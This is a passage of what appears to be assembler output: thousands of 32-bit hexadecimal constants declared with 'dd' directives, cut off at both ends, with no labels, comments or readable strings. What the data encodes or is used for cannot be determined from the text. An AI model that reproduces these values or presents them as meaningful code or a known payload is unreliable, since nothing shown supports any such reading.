0BB0AF09Ch, 943B2002h, 0B6D34982h, 0B27050D0h dd 22A465Ch, 0BF82BD9Dh, 922D318Ah, 9C01FC21h, 0EAE45E88h dd 0CAA28826h, 381F430h, 4D742FB0h, 0E6C20FF7h, 4CD34460h dd 0C88BA62Eh, 644674h, 0FD760CA0h, 7B21E8h, 3A7ED84Dh dd 7063D0A9h, 588BBB12h, 0DC41BC12h, 36299061h, 30318442h dd 7F12BD92h, 383972BFh, 0AFC040E6h, 0FF3A0F63h, 7F6D6958h dd 0DF43789h, 0F9FE0161h, 7813FC41h, 9D007462h, 75053EB8h dd 80B16FBBh, 0B6185EF9h, 0AD82C700h, 5CEAE057h, 87CCA02Eh dd 77D73069h, 0E4EF3199h, 90396565h, 8C890CCCh, 1503221Eh dd 0A4E02350h, 0CA00032Ah, 0B5E80BDBh, 835FE7Dh, 0C485B31Fh dd 11241DC9h, 0FBE28065h, 3F1910D1h, 60F0215Ah, 0C0572181h dd 2B268D34h, 34C83411h, 763465Ch, 0E5F926DEh, 8977E44h dd 267C214Ch, 80B46A0Fh, 534C5F77h, 0F400A8ECh, 0ABA705E3h dd 303A6979h, 9331F194h, 64030AD9h, 7A20E726h, 44DFB206h dd 4032F708h, 61641086h, 2D9D020Fh, 8F4887BCh, 0B6172150h dd 0EE2705D6h, 1C408D3Ah, 4655FE4h, 0CC217B78h, 48C2F90h dd 0BF81BD90h, 7DC8EA2h, 43BD87F9h, 0DFF57821h, 0A42DF3C5h dd 8C2EACh, 9EEDBE65h, 0C7B2E522h, 44C8D350h, 8C36FD26h dd 0C1467Ch, 909E842Ah, 289B021Eh, 4828FE62h, 0F1C360EEh dd 88E2929Eh, 26183090h, 0CC712911h, 0BD838D88h, 8A1525F1h dd 91B08289h, 0A4C20342h, 73EA4980h, 7478F217h, 0D7630420h dd 4A0916Bh, 405ADF7Fh, 67B9B82h, 0B8490185h, 706BBD59h dd 282AA8D3h, 2FF783Bh, 38F58691h, 407ADFh, 0FDE881EDh dd 0C3D45325h, 0E5C66A00h, 1A4D2D28h, 3679C93Ch, 5EE494E5h dd 0F0A98663h, 42688F7Dh, 7E5A60F9h, 1E8AB25h, 0DAE5A12Ch dd 283BBFCEh, 4583103Ch, 2A95E603h, 78D8DF9Eh, 41E129A8h dd 0C0D31B7Ch, 77006EC7h, 2531FCF4h, 297C40h, 4686F082h dd 818590B0h, 0E8A4474Ch, 93008C2Ah, 17EA51B8h, 0AA9D7EDh dd 1FDCB926h, 0F46104F0h, 8DF841FDh, 94326753h, 0DA639709h dd 4CF51090h, 0D0629F30h, 0B7D860h, 0EB7854B8h, 75138A7Ch dd 0A19C23F9h, 5C0C5754h, 16F11F50h, 0FCD31100h, 8CED3B37h dd 55DF2A88h, 0CEB73EC0h, 0BBD62F87h, 759CE07Ah, 4600BCAFh dd 0E09FBDE5h, 0A504DB73h, 5755E290h, 78372F18h, 290A0381h dd 0E614554h, 28E4F692h, 31670F30h, 0FC4135E1h, 977D0062h dd 0B4BCD5E7h, 0BB8FD1Ah, 0C492624h, 149CA108h, 0A048D885h dd 18C64E8h, 0C8A7E26Eh, 3D920221h, 0D0BCE8h, 56ED1C9Ch dd 8DA9ADA8h, 0F0723B28h, 0DF1F771Eh, 0A85D3392h, 9D78DA86h dd 0D37407B8h, 0C0F1EC0Ah, 88267987h, 0B494912Ch, 3C60E74Eh dd 0DF1AC200h, 45191842h, 1679F059h, 62F21542h, 3D371C30h dd 0BD9D7355h, 0C2EB896Eh, 4279F460h, 39826894h, 0F8CAD3h dd 41EF7D09h, 0A10C4890h, 18F1CED4h, 0CA5997h, 39380F18h dd 8A00D815h, 7E6D92E0h, 0EBDBB5A8h, 0CBD7F896h, 67C00868h dd 74182C7Fh, 253B5246h, 1E09AD00h, 1571F64Fh, 0FA5C6270h dd 0EE4E8154h, 0AC6CB8DAh, 0F4DF9D00h, 5736E2FEh, 4676D094h dd 844F262Ah, 38448160h, 9D5201FCh, 0F5E41E26h, 0BD34E856h dd 628FFB06h, 9193F3h, 21F6B3EEh, 75529A79h, 0A5FE4278h dd 6045F25Ah, 8C8F57A2h, 95C03188h, 38194E57h, 1C2727F2h dd 7DC1D800h, 1C981D73h, 0E1313963h, 2FC14F89h, 35C2354h dd 2E7EB97h, 3EC75288h, 7C64BB54h, 5CC4E8A7h, 0C4A9E260h dd 9E044DE2h, 0EF8B7A88h, 0A6E328A0h, 46C898E4h, 9884C87h dd 46247126h, 0B8CC44D4h, 0E097FDFDh, 3E247B49h, 7F1F60F5h dd 88C04357h, 580945B9h, 2F5E9CE6h, 67234Ch, 8BEA12BEh dd 0EF113590h, 0A04C5AE3h, 4AA30079h, 0F095741Eh, 3B380391h dd 92822561h, 0CE00C5BCh, 0D49780F1h, 3CAA02B8h, 0E28A32DEh dd 26909F14h, 4B203DE0h, 8C469600h, 711C58EFh, 943A4C3Ch dd 80072923h, 0B374907Dh, 3FC034A2h, 414C7D89h, 6F8B7B18h dd 6856FF59h, 0D62820FBh, 1085A613h, 67AC3820h, 0C24F0939h dd 0A8C1CC95h, 4C34324Ah, 7663819Ch, 0E0E0FA59h, 791E0175h dd 1B4CEA72h, 0BC002C07h, 0BD0F8C5Dh, 0E0302C91h, 6929A58Eh dd 0C197A2AAh, 2E2A15DBh dd 6823E4h, 48D5D9B8h, 78EE9AC0h, 0E842AE26h, 0E4DF8642h dd 48D60074h, 23A95FE0h, 52094DE1h, 517D7B26h, 185D79F4h dd 0BBA303CCh, 0A4C2E25Bh, 0D3AAE5F0h, 0BF00D8B6h, 8EED3C10h dd 54B299Eh, 1871716Ch, 823F0230h, 4553B032h, 0FF554660h dd 4FD05499h, 79008657h, 7D271AA5h, 0F4E87753h, 8E3D00BAh dd 5BDFFC92h, 0E31741DBh, 0F021D12Ah, 730162A3h, 78402ACCh dd 0DA15E46h, 20B0B036h, 0D77A6B7Fh, 0AA971902h, 0CD38281Ch dd 0B992E02Ch, 0E700A822h, 516C8E54h, 9328B1h, 689E3FF6h dd 0B425E8B7h, 0A038BD7Bh, 0E0E1AE69h, 0EF44624Eh, 7732025Ch dd 93ADACC1h, 54CB0481h, 30575284h, 1C47A9E7h, 0C232CFFDh dd 0E2697AEFh, 0D32438A1h, 0A9630064h, 4D64B8A4h, 0F802895h dd 14712426h, 8258ECB4h, 0A22501EDh, 26AD1EB8h, 9CC2222h dd 2007AADFh, 9802F524h, 91D9FECCh, 2F8C922Ch, 5C2358h dd 0AF17001h, 914C6B3Ch, 55D7102Ch, 1A2E783Ch, 942D15E8h dd 8BBD9E80h, 0CCB192BFh, 809529CEh, 781E3F8Bh, 148B974h dd 0FCF357EEh, 0F9C7031h, 9483589Ch, 0D0EC2FDEh, 14F670Ch dd 93B6AF23h, 0C71A77B8h, 70419182h, 3CBC7163h, 0D06E4BE8h dd 0DF82F102h, 0B8C75991h, 44606BE4h, 3209F559h, 0C57F17BDh dd 60C3E448h, 0EBF428h, 0BC429001h, 71AAF717h, 0BBFE621Ah dd 7008DB29h, 3402D207h, 0E29DC750h, 5EB45C0Eh, 12076746h dd 64D36F4Ah, 8A48BCB8h, 37A5D893h, 75130078h, 2087683h dd 0F297A414h, 0DCA20074h, 0FF119BB1h, 9DDB3FC4h, 0EEC3A058h dd 0C17461E3h, 54062FBh, 653FB5D0h, 818093h, 0B6FB5BC1h dd 14BDF4BFh, 925E4E73h, 0C423F42Eh, 0FFC7F600h, 162CC45h dd 4FD87A34h, 8B742A33h, 0AB4DFE89h, 11801D18h, 0A36A84C0h dd 21DF4980h, 83AB16BFh, 0BCB045BEh, 8844CF37h, 0DBA6C1C4h dd 0F41FE875h, 8F4A6000h, 8AB263FCh, 0EE1A0589h, 0C9E198BFh dd 7A3DF888h, 8C4C172Eh, 5BF23B00h, 0F162576Ah, 7A022C69h dd 92A7EE7Dh, 0C3E44845h, 23F5A760h, 60F10E00h, 3790B981h dd 760F28BBh, 0A0112CDCh, 6E8D16EEh, 0C8F6000Ch, 0E57EB534h dd 25D600A8h, 0C315FF79h, 80FF96D0h, 3B7EA489h, 0EDE36Ch dd 7114959h, 0BB6E44EBh, 34F2DF0Fh, 0F4F7923Eh, 0F1863988h dd 0B6200CF2h, 0C0467450h, 625AF100h, 792FB82Bh, 45A7A0B1h dd 636EE454h, 657A8084h, 0C02A2CCCh, 43BF42D0h, 0CD16EC23h dd 61070C04h, 0A789E60Fh, 0C1118C1Dh, 5E0FAE87h, 43DF0240h dd 0FD2842EDh, 0B3EA8853h, 0E44D2B25h, 24345B00h, 8820CB2Ch dd 402AC12Bh, 517BE85Fh, 0FC9A86E0h, 91C99730h, 1E950h dd 88D1896Bh, 0B477D4BEh, 0E7AA2800h, 0E304754Ah, 0E9F42D10h dd 0FC48AF78h, 8BF309DCh, 0D954F13Eh, 24EB18CCh, 7345886h dd 4120BD06h, 6077AF3Ah, 0F1054508h, 0F8C244EAh, 55B20CA3h dd 362030h, 76B31EDAh, 0F6CDC054h, 9E0226F8h, 13311DB8h dd 41B45469h, 2FE8EF2Ch, 780E5C46h, 31C70019h, 7DC4291Dh dd 0C303D842h, 725501D3h, 2696883Fh, 30AD5A86h, 8AD5D084h dd 7F7A5840h, 3C73F909h, 3BCBFB11h, 245E242Ch, 52E05A06h dd 0F1849170h, 121018C6h, 55CA0F3h, 0C6EB3753h, 0AB0B68F4h dd 18577FF9h, 3617814h, 0B214473Ch, 3082A31Ah, 494478E7h dd 6EE05D60h, 0AAE55E04h, 2CADDA9Fh, 0C543F0D8h, 0E96F2080h dd 9AD7A438h, 43D4806Ch, 124CB6F2h, 0F37D79B4h, 0C31E10E4h dd 3CADFD39h, 5C917817h, 0F3BDE380h, 7512C2A4h, 24B0FADAh dd 0B5958618h, 2CC00074h, 4456E06Ah, 0C1558B25h, 56CAB2F4h dd 0D7971724h, 90406E54h, 3FB22DCh, 0BE0E2F3Bh, 0C8CE4E5Bh dd 0A3CF52C8h, 0E8A0EA5Eh, 1ABB46Bh, 0E6F5794Dh, 3815FA73h dd 8C6EB870h, 3922E101h, 0F6327C9Fh, 7B31B840h, 180CB014h dd 513EBD7Ah, 0B774CE61h, 717CF073h, 0E519B661h, 0A8511FFCh dd 0BCE413F9h, 0F4E01603h, 0B030A615h, 0FB5C12h, 84CD6038h dd 0EEEDCFE1h, 2C95B74Eh, 0DA1C30A3h, 2D6E01A4h, 2915F279h dd 1F32AC7Ch, 0A5BDF0EDh, 42DD1462h, 5C585675h, 0AA58CA46h dd 0CF772E00h, 1EA4CB3Ch, 0E767B13h, 0D7C78E4h, 63578B70h dd 0BC387868h, 16EE8C4Fh, 74E7CC03h, 0BCDFF95h, 0E2BDF9CCh dd 973034E4h, 5DC271EFh, 703500DDh, 9B6344F8h, 852F30DBh dd 55CFEB1h, 256EBBEEh, 48A2F0h, 1C875997h, 3F1B39Eh, 9B625F8h dd 0C7E09BD1h, 29C0F096h, 4A5BB8E3h, 0A0C214F9h, 3C489C14h dd 2E8C4AE8h, 76EC8C8Bh, 0B304CB46h, 0C01BBB75h, 8EB04088h dd 320BF3ECh, 508F7457h, 26B700E4h, 3FEC9772h, 54BA3D43h dd 1074854Ch, 1F04C60Bh, 88FFF148h, 44163D90h, 0D0002FDDh dd 68D22772h, 0C9C103D1h, 8859247Eh, 6AFF28A0h, 0DA3031C0h dd 2EC42C19h, 2A9C9F6h, 3E4676B8h, 0EC0414DCh, 6488B9EEh dd 0C143104Dh, 86F8673Bh, 46074CB1h, 0B263B082h, 94C099AFh dd 33354D09h, 4B61850h, 0E33F55E0h, 5C85A25Bh, 0D66BF181h dd 1837C460h, 18FAF3B3h, 0E130D309h, 105EA157h, 0DC370199h dd 0E78B7B07h, 38036A5Ah, 434980F2h, 0C3A2D8B8h, 635230h dd 0F964811Fh, 708938E4h, 0C0A6E324h, 2380FF89h, 3F89460h dd 3B78439h, 59DA10B8h, 65790851h, 49007E18h, 0C8A692F2h dd 0F8EDEFBBh, 49648F1h, 0BB37806h, 1625805Fh, 9264A280h dd 65100239h, 427F8CA2h, 1D906443h, 8101D61Ch, 0D37B3A44h dd 40A669FAh, 0E302DE84h, 0DE6F08CAh, 84FCF1D5h, 0C2781E5Fh dd 0C0C456ADh, 1FBE7F20h, 564924FDh, 0FA50A575h, 0AC9C38E6h dd 0FCA4656h, 0A15C9AFEh, 0AFC11996h, 401F6870h, 7561E166h dd 204978B1h, 0AF21AC0h, 7E6BDBCEh, 0D72540D4h, 9B13873Dh dd 24CF9DE1h, 21C35E88h, 8CEAE996h, 41FDF830h, 41BBFC31h dd 0E013A15Eh, 5CE2DCB3h, 0EF00730h, 0B52232C5h, 0A77005F2h dd 1CE0E45Bh, 0B1E5A40h, 0F9840DB3h, 0FE00BCC6h, 8350C815h dd 4AB4A1C5h, 0B04085A3h, 9C9E8D9Ch, 0FD9317D6h, 80B8928Eh dd 467C7476h, 0A2D8098Dh, 0B714E66Ah, 2C003CB7h, 2B0C445Fh dd 0EF8200CBh, 73E17921h, 285C482Fh, 0E6EA003Ch, 164B1D6h dd 105313DDh, 4A08234h, 4CD64C5Ch, 0EB10C869h, 17CC3ED1h dd 0A83075E0h, 137DA52h, 0A1595002h, 0F2DC1867h, 4F3F5440h dd 17C92CB6h, 80C6114Ch, 9AD2285Fh, 0E279001Eh, 8B7A70E3h dd 3C806F07h, 6C11B57Eh, 3F8518F0h, 6BA1917Dh, 7D4E3EC0h dd 0CCD60315h, 2474B871h, 0DF0738FAh, 0D42C7C62h, 77298774h dd 52A7A2F7h, 9580AC5Ch, 2678129Fh, 59E02939h, 18627140h dd 0E7A400FAh, 2D4CF90h, 564AD3C2h, 841EE40Fh, 18B68BDCh dd 1BF193B0h, 1E44BD12h, 58F748A2h, 905618C0h, 170FF2D1h dd 2FF6795h, 57EB8D39h, 6F0EBC82h, 840E0A25h, 220036ABh dd 0BEFF2B01h, 49E30111h, 74F754B2h, 18A064B7h, 94C8875Eh dd 0D5DD0015h, 81DB223h, 81F052B5h, 54704E02h, 5A76793Bh dd 0C3B80164h, 0F218BF71h, 4F783D42h, 0CCC8608Bh, 0E04B9FC0h dd 1988A862h, 0D5A73D88h, 0F1DC9980h, 4104A816h, 0B4C0E24Ah dd 0EB7E7667h, 8E4E4C3Ch, 0C771C8B4h, 8D787075h, 801260B0h dd 0A40279AEh, 0F0FACB39h, 689E0790h, 0C866D49Fh, 3469A005h dd 4B1400F0h, 0C4388E65h, 0F3305752h, 0E701951Dh, 0AF374315h dd 0C8206942h, 64A09D11h, 9E6E2094h, 4560DD00h, 0FF44CAC3h dd 0A201030Dh dd 26A6E6D3h, 9C71FEE2h, 0DA18C3F1h, 0AF64A900h, 42F5BB23h dd 8BEE02F1h, 502F4E8h, 31706CF9h, 8B7F8666h, 0E4989203h dd 0DC9716E9h, 52F1DCF2h, 3370C57h, 238DA49Bh, 0C088380Ah dd 9D4BEA60h, 0C023382Fh, 817F450Eh, 3F8E6543h, 0C22C021h dd 0B99D1C0h, 6F182C4Ah, 0A7087A13h, 0FB0F00BEh, 5D127D8h dd 200C32CFh, 18BC106Bh, 1D330092h, 7EBDECA4h, 31C39514h dd 0E1D125B2h, 2848720Bh, 0ECD3899Bh, 0E10F20D1h, 81864CF0h dd 0FE04C0FFh, 0A02469E8h, 0CFD64E7h, 72D6BE92h, 7C000F08h dd 9FA8C971h, 0CF3B8Eh, 7E01ADFBh, 58B8994Eh, 38912506h dd 30FC40h, 4F0BB9C8h, 31F8710Dh, 6EE0ACA3h, 51C96F28h dd 0F5F4C05Bh, 0C5919D6h, 8363097Ch, 0FAE23B21h, 1280C421h dd 3FF574h, 987362ADh, 0A758DB33h, 349B748h, 0EF44B953h dd 88E1402Eh, 23058C80h, 220B96D1h, 40D5B038h, 0BF0CAD2Ah dd 58AB09BDh, 132407B9h, 45DD5199h, 0BAD68210h, 755EBCA0h dd 3403E12Fh, 3D965094h, 6408184Ch, 7D772010h, 1B7A2F07h dd 54E05A0Ch, 5547A4h, 7B9B95FEh, 8A4052B9h, 186A80C3h dd 14392B6Fh, 0F0A45134h, 51029BEEh, 0D014FCABh, 7F8491BDh dd 0D1082618h, 0C47A0BA3h, 6DD2419Ah, 0AF608FD1h, 0F8500090h dd 13922132h, 3E000FA0h, 0FCA8FE0Dh, 0C00B95E9h, 9A2FBE80h dd 0C7031E55h, 8EBAB678h, 3D0830B0h, 55A34C21h, 0FC04EEF6h dd 5F27390Bh, 2FC81880h, 0F6A6580Dh, 0AF844h, 41F21198h dd 684F3859h, 7AF28D2h, 55AA88D0h, 0F03C27E8h, 80C71F55h dd 4D38448Ch, 3755A200h, 14F841E9h, 4BC500C8h, 0D8268F1Dh dd 7B15B925h, 0B4B46Bh, 7440C45Ah, 3D8506h, 0E771F7F3h dd 6B272A52h, 0C740A1DDh, 90C23224h, 0F8AC0394h, 8B8595A5h dd 7D748EF8h, 2EA93F01h, 47EE9872h, 8AAF5886h, 80A1413Bh dd 8DF1829h, 0EEF575FAh, 0B04064C4h, 3857FAE7h, 720CD1E6h dd 0B1B76ADFh, 59A5009Bh, 4DC27E9Ah, 4060891Fh, 85D52078h dd 86150A74h, 14817FBh, 67C10FC5h, 0E3C8205Dh, 0ACDABA09h dd 61740E9Ah, 69A9E881h, 89D4B840h, 4C7E121Ch, 23A43AECh dd 3980019Ah, 4B1C587Dh, 0C7A88820h, 6E560089h, 0A206797Dh dd 0B3196A3Bh, 0D3350CF9h, 0BAB8B2ACh, 0E0DEC200h, 3B474180h dd 34E806F3h, 20A169C3h, 993FF60Ah, 1E07803Ah, 95611F8Fh dd 39F847DDh, 0F080F9BFh, 0B09BD9C6h, 0F30A710Ch, 0C0688AAEh dd 9947F683h, 5540063Eh, 58C364DBh, 0B18D1330h, 0BB76CEh dd 82CCF184h, 0F0C90CB4h, 5F89B00h, 95F3BCAEh, 489242h dd 0AAF67DAFh, 4C7C88Fh, 0B5FF061Ch, 89C240C0h, 0E2CF53Ch dd 9BA7E156h, 0DFED0E7Eh, 4D852E00h, 82E5CD3Fh, 94DB5388h dd 90140292h, 65675920h, 0C0F3FEC2h, 3E42ED02h, 66177AC6h dd 97AC19D5h, 28929609h, 0FAE04030h, 624AC98h, 6264405Ah dd 0FAE8B140h, 0B061908h, 7A752764h, 0D6B2418h, 8EAF419Ch dd 91318070h, 0E75B1E40h, 7C945053h, 7E700706h, 9066BBF4h dd 1B90F08Ah, 39BDF381h, 51B96D9Bh, 0E3FCA9C0h, 0A401F493h dd 0A8C72455h, 4E883718h, 0EE5507ADh, 0C4B1E078h, 0C814CBA9h dd 2482C032h, 43009B64h, 860B7B4h, 1E496B1Dh, 0D2F1C5C7h dd 689C1466h, 0FC8C9FE8h, 89DF3D94h, 0CD787F80h, 0BB350B9Dh dd 0E4ADF128h, 9B4EB4Dh, 0A06C6AACh, 0E96935ECh, 15460053h dd 2C62C4Dh, 0AD1F289Fh, 6C055BB1h, 749BEC75h, 841F4FC5h dd 0F8488734h, 78FADCC0h, 22E646F5h, 0E43D0161h, 0C97229FAh dd 80EECB18h, 0B8CCA94Dh, 2ACE0032h, 0E082C0DAh, 8B05310Bh dd 0DB38573h, 0C8C914DBh, 0DCEBFB00h, 0EC9052EEh, 5AD7B914h dd 34E205DCh, 983A4F0Ch, 6503A623h, 0A45A09B5h, 602718C1h dd 55B77987h, 833E30B0h, 3F7AE374h, 794D5A00h, 0DB236421h dd 2EE226CCh, 35756118h, 0CFD1CCF1h, 31876200h, 1FFD09DCh dd 0F0324879h, 9F761775h, 0A83814E1h, 15C39006h, 0A400418Ah dd 12758B82h, 0A4ABC4FAh, 2E446C0h, 0C72355A5h, 103331A0h dd 355AE51h, 6D4FBC3Fh, 0CBB86F63h, 0E1170FC8h, 0D84360BFh dd 0A6E64FEh, 8CDEFD14h, 27E904A8h, 8194C0B7h, 3CA5A8AAh dd 3B603964h, 9307639Eh, 0AB0E2097h, 8571FFF2h, 841E7CACh dd 15064411h, 904EDBF1h, 8F17F201h, 0C7656A1Ah, 9AB81BF0h dd 339410D8h, 0FC271573h, 139803CCh, 480E4191h, 3DE828B8h dd 8796018Ch, 0AE018D72h, 8EA08B6Bh, 62A010B9h, 91C8A0B6h dd 0FD9A2638h, 60E5445Ch, 292255A6h, 0C0C498C7h, 6F559F50h dd 0FCE35213h, 2B81D907h, 4882C345h, 46386458h, 9620257Dh dd 19D4614h, 58BC7560h, 0AE59418h, 762420h, 0B13FF443h dd 3D98735Fh, 93FBF119h, 2DF05638h, 0B318C063h, 0D6176AF8h dd 48480E4Ah, 2F7AC0ADh, 7C4634DCh, 82F66622h, 253B2F00h dd 1EAFEF91h, 94E73045h, 298E0DA1h, 47D47554h, 6E330B00h dd 853B5B60h, 3AF30442h, 0C48207D3h, 15B01E04h, 0C6099849h dd 4023D7C1h, 0A10DDB6Bh, 31088DF7h, 20230049h, 883066A2h dd 855A0067h, 3DCDC74Fh, 28AA8C27h, 66C49C65h, 0CF091561h dd 941D91D0h, 0E76E851Ch, 2158F6D5h, 802B91FBh, 0F573FADDh dd 65448CDEh, 0FAE5003Eh, 10CBCD55h, 8419C079h, 41513A94h dd 395DF6D0h, 970098E2h, 366F8E91h, 9C1E4F5Bh, 71408C95h dd 90F4D628h, 0E9960929h, 1440651Fh, 337E8F18h, 4F91C604h dd 7492BF81h, 40B8A939h, 44BD17ECh, 6A00F90Ch, 2F1CBF49h dd 628BAF96h, 9913A9A7h, 8E6AFCA0h, 46737F74h, 4718E7FCh dd 20703BA5h, 6FE11215h, 41780054h, 0CF89B6FCh, 0BB6E6D01h dd 70C9FD86h, 444447EAh, 62D06067h, 0DBA049Eh, 81667609h dd 252426E4h, 0F78036A8h, 0AE5C9F50h, 420D3EDCh, 216C2618h dd 0BD003F51h, 0C8D1E382h, 42583Dh, 0C33B1361h, 211EF94h dd 0C0A0C8C8h, 34DF2F73h, 6822A446h, 2F7B7900h, 0F5AFEB81h dd 0A039F017h, 0A19A9Ch, 0E1D3B9BBh, 0F708918Ah, 290F5412h dd 44041482h, 0F00E0A30h, 31D8AD63h, 83672614h, 0C27254B1h dd 0A0F39893h, 2A550224h, 0FBB8471Ah, 0FCE0C8A0h, 4967026h dd 0FF7F39DCh, 0F2664B05h, 0A8E8001Dh, 6AAE71F6h, 9201A09Ah dd 584F0E7Ah, 0E0C8B72Bh, 89C7A024h, 5E349C9Bh, 0E8003946h dd 76D4AD1h, 0D0AB21Eh, 0FC487E01h, 0C824680Ch, 21048C7Ah dd 120B98D1h, 0D7C094F2h, 0FE63D128h, 959DAB00h, 158B55BFh dd 7DCB88Ch, 79FFE2EEh, 0C181EFDEh, 26279296h, 0FAE11D28h dd 9CFEF5C9h, 0E9B2003Ch, 4BB55DFAh, 3312F157h, 0D4CDDE9Ch dd 0E0EAC09Dh, 0EBE11412h, 46C854C6h, 0D1240281h, 0E72A0BA5h dd 2BD40164h, 296B02D1h, 1B472630h, 5E363200h, 1C8FE261h dd 4096314Ch, 0A07AAD81h, 40B1FBDEh, 6B189AD1h, 31E90801h dd 0AA0D7894h, 0EBACC829h, 0C42A290Bh, 919280A1h, 0FBAD677h dd 0AC89A9A7h, 186A2F09h, 180395C0h, 8504C93Bh, 797E451Dh dd 170B90A0h, 483F85E9h, 0B68174DCh, 0CAF5D68Ah, 7E2565D4h dd 37792E4Dh, 0C145803Ch, 1F53C5Ah, 0A92A660Fh, 6BE199C6h dd 76004439h, 0D2EDA483h, 0A701542Dh, 55E79D25h, 44628AAEh dd 39911418h, 0B50F5013h, 408D8CF1h, 478188A7h, 0DFF30054h dd 0B96ABCEAh, 61F4E00Eh, 0C62CC0BAh, 467464F0h, 25C00062h dd 0BA4005F2h, 0C9170480h, 82A6ADFFh, 8132E2A8h, 0B0C72598h dd 8836C458h, 5539AC4Fh dd 0C17107C9h, 40B0C2F5h, 91A3EE89h, 18A7D140h, 525D2E1Fh dd 680A0F30h, 0DB330490h, 0A88294ECh, 618C4C4h, 71C334F2h dd 7C1F188Eh, 0C9C9BA63h, 0DF24A0C5h, 0C2BD915Ch, 96E8D340h dd 71800209h, 8364E060h, 186A11F7h, 0DB35069Ch, 7A288AE4h dd 0A57391h, 20CCF822h, 0AFC888Eh, 0DC166A3Ch, 8C65FC7Ch dd 401690Fh, 323CEBCCh, 79D0D16Ch, 15F189Ah, 0CAA364A1h dd 684E01ADh, 6B780988h, 0AF441010h, 80A0B490h, 83F577B9h dd 4EFDAD4Fh, 0C03B88F8h, 0E3C02BF0h, 18B86469h, 51416D4h dd 0D3DEF6A9h, 74E4C0FEh, 8494C639h, 12FC6742h, 3D11F897h dd 66058582h, 0BD09B046h, 0E08B21BAh, 483252E4h, 3D74B01Dh dd 0C70391F8h, 5F77F107h, 8861A804h, 98C24EBEh, 0BCC82296h dd 6870A053h, 2A54078Ah, 1B976046h, 0B290EC47h, 28C61FCh dd 0BF28B7BAh, 68D0218Dh, 0C06D48C8h, 0F579FADBh, 42CCE4Ah dd 0FAE33B3Ch, 62AE8580h, 0BF1E87C9h, 5120DD35h, 58C85CCBh dd 0A890CCC3h, 0B4A6AAFh, 1D02AE3Dh, 0F0811066h, 99818E7h dd 88C72055h, 4A80D0E5h, 0AD255A1h, 35760271h, 0BB07F167h dd 202264C1h, 48CA1B4h, 34E02F76h, 2069629Ch, 612F7E78h dd 1570380Ah, 9E80DC8Bh, 5D34FC3Bh, 0F9430F3Ch, 0E08E1D95h dd 0B30CB4C4h, 31A6A2A4h, 8597F0F7h, 83FD5300h, 0A67346D5h dd 3927C89h, 91E4D0A8h, 0E9021137h, 0AE80E76Dh, 17705AC3h dd 53FD3FF4h, 55001D8h, 84443291h, 5FE9C631h, 15B5A4A0h dd 0B06C3601h, 33F2DC52h, 952CAF30h, 36E5E080h, 691FA844h dd 6030EFF1h, 36DC713h, 6FAEF660h, 0E900A414h, 38AA5924h dd 0FFD4F3Fh, 11EC6351h, 0C9500763h, 0FAC47089h, 0E000D4D1h dd 47FD1932h, 0D83060E9h, 0C5BFD61Dh, 10413725h, 5E8DF8h dd 0CDCB1681h, 5947E6E9h, 2F334040h, 0C379A18h, 0AFFD2E01h dd 446C7326h, 5FE8B858h, 0F0BB718Ch, 532F010Ah, 6ACF327Eh dd 70406D0Dh, 48CDC302h, 8770292Ah, 20196B7Ch, 5AEBF340h dd 0A1350B65h, 4D0444BAh, 0DF23805Ch, 24051CA0h, 0D17E99Fh dd 0E8E228D5h, 303063F2h, 0BAE405DEh, 81FE4588h, 504694ECh dd 0D0E520F8h, 0CD858A04h, 90B1E64Dh, 67BC2C28h, 20C81E8Ch dd 89C665Ch, 4028704Ah, 9E44D087h, 5655E960h, 7F34F603h dd 4E68AC8Ah, 238C2F48h, 0C3F3023Bh, 88E833C1h, 3513390Fh dd 0EC038CF8h, 1D5E23B9h, 12FE1518h, 23042F95h, 0DE750063h dd 0EC655521h, 0DF6B4100h, 706EA104h, 6DE41EACh, 18C38076h dd 23D184D9h, 0F42BCB0h, 0B10C9519h, 0A8FF4039h, 0F30DC290h dd 0F80DC92Dh, 657FA88Bh, 9C470092h, 0D0673944h, 5B2198B7h dd 0C4AD4C26h, 145A263Dh, 138467Ch, 0E2E70ED3h, 75FC17DEh dd 12F5E81Dh, 4435A127h, 897D45E8h, 0CB00687Ch, 60F84DA9h dd 6E965DA1h, 0E1182400h, 0E71BFF91h, 0FBBE2582h, 65917017h dd 0DF287080h, 5704DA23h, 14D2BB1Bh, 127E64A8h, 0E0652517h dd 7C20D310h, 3FF613ABh, 95C445A5h, 8418B361h, 0C602F969h dd 0DCAF9BB9h, 5BFE0182h, 0B8FFB884h, 0F1440984h, 0E53062D4h dd 609BE484h, 1713059h, 0BD20C7A6h, 868E298Ah, 662D1FA9h dd 0B3553FC0h, 0F408AC20h, 27314927h, 0F067DC9Ah, 0C9606044h dd 0C01E0D48h, 858E2643h, 0B1021B5Fh, 0DAD198Ch, 0EB82A0DDh dd 7C77996h, 0DF9BF7A6h, 64FD0041h, 2C00D84Fh, 479FE06Dh dd 5A85298Eh, 4842FB95h, 110AFB36h, 9D091010h, 0E9024059h dd 50174B60h, 14F1BF0Fh, 1D85C75Fh, 0F54C0128h, 0F78B22C2h dd 47D59F5h, 102B61B5h, 0B7229C1Dh, 0D60074h, 135C2CB9h dd 2E519D8Dh, 2FFA075Bh, 5142357h, 14E85205h, 5707F50Ah dd 30701B40h, 7E4537Ah, 0F7BDD400h, 425D04D8h, 0BEC05AC4h dd 0FE9CB740h, 714FBD1Ch, 23811E5Fh, 3C7379FFh, 18209529h dd 0DB8C6616h, 8875CBAFh, 89A1C014h, 0C67359Dh, 495F64Ah dd 5D62D80Bh, 18648B47h, 8C353660h, 0BFE07701h, 46568006h dd 1F496D4h, 95FF6E85h, 0FA0729EDh, 33925BB5h, 0F18E041Ch dd 89FAA050h, 520F2404h, 0B04FE8Fh, 971FDDBDh, 0B0614C34h dd 13286EDEh, 5BC8AA00h, 5F4DE441h, 0EF705BE6h, 3103716Bh dd 7A67A03Dh, 29133C80h, 19E1D0A0h, 25D88981h, 0E40CC521h dd 35B6AE71h, 17526CB0h, 0C7B63D00h, 8D898B9Dh, 560D67FDh dd 3FD8B70Fh, 180333Bh, 2C657195h, 7816BA1Eh, 0C0F39AEAh dd 0B31F8315h, 7640121Ch, 8BD64F45h, 5C004B2h, 0E8C1040Bh dd 37CA1E87h, 0DD54FF3Ah, 0F73166F4h, 222D12E2h, 0E1853100h dd 2B0C0F62h, 0E059D7D8h, 9B50306h, 81660259h, 937C56EEh dd 0EC9E7AD7h, 37960F31h, 0E28011D5h, 0CD1C2EACh, 9A23B503h dd 0F9A17998h, 13205350h, 0FF933F5Eh, 5420D51Ah, 42694185h dd 498D019Eh, 0C2B04969h, 0D9070342h, 844CE819h, 67C400DFh dd 830F613Ch, 7AE101F6h, 